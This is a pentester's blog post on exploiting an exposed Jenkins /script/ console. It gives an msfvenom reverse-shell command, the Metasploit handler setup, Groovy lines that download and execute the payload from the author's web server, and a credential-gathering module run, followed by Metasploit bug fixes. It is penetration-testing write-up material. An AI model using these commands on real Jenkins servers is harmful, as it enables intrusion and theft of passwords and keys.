Joshua.Hu | Joshua Rogers' Scribbles

Attacking a temperamental ten-year-old Jenkins server

During my pen-testing, I’ve found it quite common to find Jenkins instances which either have open registration, or an easy-to-guess login combination. Jenkins has functionality that allows users to execute Groovy script via its /script/ endpoint. If this is not secured, an attacker can execute system commands on the Jenkins server, decrypt passwords, and steal keys.

The easiest way to exploit this is to use Metasploit’s exploit/multi/http/jenkins_script_console module to gain an initial shell, and then post/multi/gather/jenkins_gather, to dump all of the passwords and keys. The general method is outlined in the documentation for the script.

On my most recent encounter with this, the jenkins_script_console module refused to work for some reason.

Instead of using the typical jenkins_script_console script, instead I prepared a reverse shell payload myself, using Metasploit’s msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.3 LPORT=4444 -f elf -o /tmp/payload.bin

I then uploaded payload.bin to my web-server, to be downloaded later on on the Jenkins server.

Back on my host, I run msfconsole, and use the following:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/shell_reverse_tcp
PAYLOAD => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.3:4444 

On the Jenkins instance, I ran the following groovy code:

"wget http://joshua.hu/payload.bin -O /tmp/".execute().text
"chmod +x /tmp/payload.bin".execute().text
"/tmp/payload.bin".execute().text

The connection with the Metasploit module is made, we background the session, and then we use the jenkins_gather

[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.4:27468) at 2023-02-22 01:10:28 +0000

^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) > use post/multi/gather/jenkins_gather
msf6 post(multi/gather/jenkins_gather) > set SESSION 1
SESSION => 1
msf6 post(multi/gather/jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...

[-] No Jenkins installation found or readable, exiting...

Aaaand it failed. What? As it turns out, the server Jenkins was running on had a nearly full disk, and the hardware was over a decade old. The kernel was from 2014!

In order for the Metasploit module to determine where secrets are kept, find / -name 'secret.key.not-so-secret' is run, with a 120-second timeout. On this server, the find command was taking over two minutes, and even though I knew where the secrets were stored, I couldn’t force the module to use it. The other pitfall was that even if find did find the correct folder, it did not halt searching the drive after the first result; it would just time-out, due to the nearly-full drive.

I made a patch to add an optional variable that instructs the module to use a specific directory for the secrets, metasploit-framework/pull/17681.

Then, I ran into more trouble:

[-] Post failed: NoMethodError undefined method `empty?' for nil:NilClass
[-] Call stack:
[-]   /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:235:in `block in pretty_print_gathered'
[-]   /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:231:in `each'
[-]   /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:231:in `pretty_print_gathered'
[-]   /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:348:in `gathernix'
[-]   /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:363:in `run'

A bug in the jenkins_gather script meant that a (valid) empty SSH key would cause the script to crash. I pushed metasploit-framework/pull/17416 to fix that one, too.